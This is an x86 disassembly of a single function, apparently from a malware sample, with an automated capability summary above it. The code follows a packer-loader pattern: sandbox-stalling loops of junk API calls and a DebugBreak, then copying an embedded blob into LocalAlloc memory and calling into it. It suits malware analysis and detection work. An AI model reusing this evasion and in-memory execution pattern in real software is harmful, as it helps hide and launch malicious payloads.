Function at 0x43c7b0
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4509ce
push eax
mov dword fs:[0], esp
sub esp, 0x8c0
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x43c7f4
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x43c805
inc esi
cmp esi, 0x67d12
jl 0x43c7e0
cmp dword [0x462e54], 0x93
jne 0x43ca65
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x8c8]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0x4036dc
mov dword [ebp - 0x24], 0xf
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x38], bl
call fcn.0043f700
add esp, 4
push eax
push 0x4036dc
lea ecx, [ebp - 0x3c]
call fcn.0043e240
push ebx
mov dword [ebp - 4], ebx
call fcn.0043f4a5
add esp, 4
push ebx
call fcn.0043f9c6
add esp, 4
push ebx
push ebx
call fcn.0043f9f5
push ebx
push ebx
call fcn.0043f48e
push ebx
call fcn.0043f9af
add esp, 0x14
call fcn.0043c7a0
push ebx
push ebx
call fcn.0043fc9a
add esp, 8
lea edx, [ebp - 0xc8]
push edx
call fcn.0043d780
mov ecx, dword [ebp - 0xc8]
mov edx, dword [ecx + 4]
lea eax, [ebp - 0x74]
mov dword [ebp - 0x1c], eax
mov dword [ebp + edx - 0xc8], 0x43aee0
test byte [ebp - 0x7c], 1
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xbc], 0x43aea4
je 0x43c94c
mov ecx, dword [ebp - 0xac]
mov eax, dword [ecx]
push eax
call fcn.0043fb78
add esp, 4
mov edx, dword [ebp - 0xac]
mov dword [edx], ebx
mov eax, dword [ebp - 0x9c]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], ebx
mov edx, dword [ebp - 0xa8]
mov dword [edx], ebx
mov eax, dword [ebp - 0x98]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x88]
mov dword [ecx], ebx
and dword [ebp - 0x7c], 0xfffffffe
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0xbc], 0x43ae50
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x43c9ea
mov edi, dword [eax]
cmp edi, ebx
je 0x43c9de
push ebx
lea ecx, [ebp - 0x20]
call fcn.0043ed09
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x43c9bd
cmp eax, 0xffffffff
jae 0x43c9bd
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [ebp - 0x20]
and esi, edi
call fcn.0043ed31
cmp esi, ebx
je 0x43c9de
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0043fb78
add esp, 4
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 1
call fcn.0043ef67
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xc8]
mov eax, dword [edx + 4]
mov dword [ebp + eax - 0xc8], 0x43ae9c
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx + 4]
mov dword [ebp + edx - 0xc0], 0x43ae94
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x74]
mov dword [ebp + ecx - 0xc8], 0x43ae8c
push edx
mov dword [ebp - 0x74], 0x43ae40
call fcn.0043e90e
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x24], 0x10
jb 0x43ca65
mov eax, dword [ebp - 0x38]
push eax
call fcn.0043fb78
add esp, 4
mov eax, dword [0x462e54]
mov ecx, dword [0x457074]
add eax, 0x1134b
push eax
push 0
mov dword [0x463c90], ecx
mov dword [0x462e54], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4628e0], eax
call fcn.0043c6e0
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x43ca98
cmp dword [0x462e54], esi
jbe 0x43cb1b
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
jmp 0x43cac0
mov edx, dword [0x463c90]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4628e0]
mov byte [ecx + esi], al
cmp dword [0x462e54], 0x490
jne 0x43cb12
lea edx, [ebp - 0x18]
push edx
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x1c]
push eax
push 0
lea ecx, [ebp - 0x34]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x462e54]
jb 0x43cac0
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x462e54]
add edx, eax
cmp edx, 0x8d
jne 0x43cb78
push 0
lea eax, [ebp - 0x8c8]
push eax
push 0
push 0
push 0
push 0
call esi
push 0x4036ec
push 0x4036fc
call edi
push 0
lea ecx, [ebp - 0x18]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x43cb32
call fcn.0043c5a0
xor edi, edi
xor esi, esi
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x43cbae
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x11793
mov edx, dword [ebp - 0x10]
add dword [0x4628e0], edx
inc esi
cmp esi, 0x674bd
jl 0x43cb90
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x462e54], 0x86
jne 0x43cc0a
push 0
call esi
push 0
lea eax, [ebp - 0x8c8]
push eax
push 0x403710
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x462e54], 0xf
jne 0x43cc1d
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub dword [ebp - 0x10], 1
jne 0x43cbd0
call fcn.0043c260
call dword [0x4628e0]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret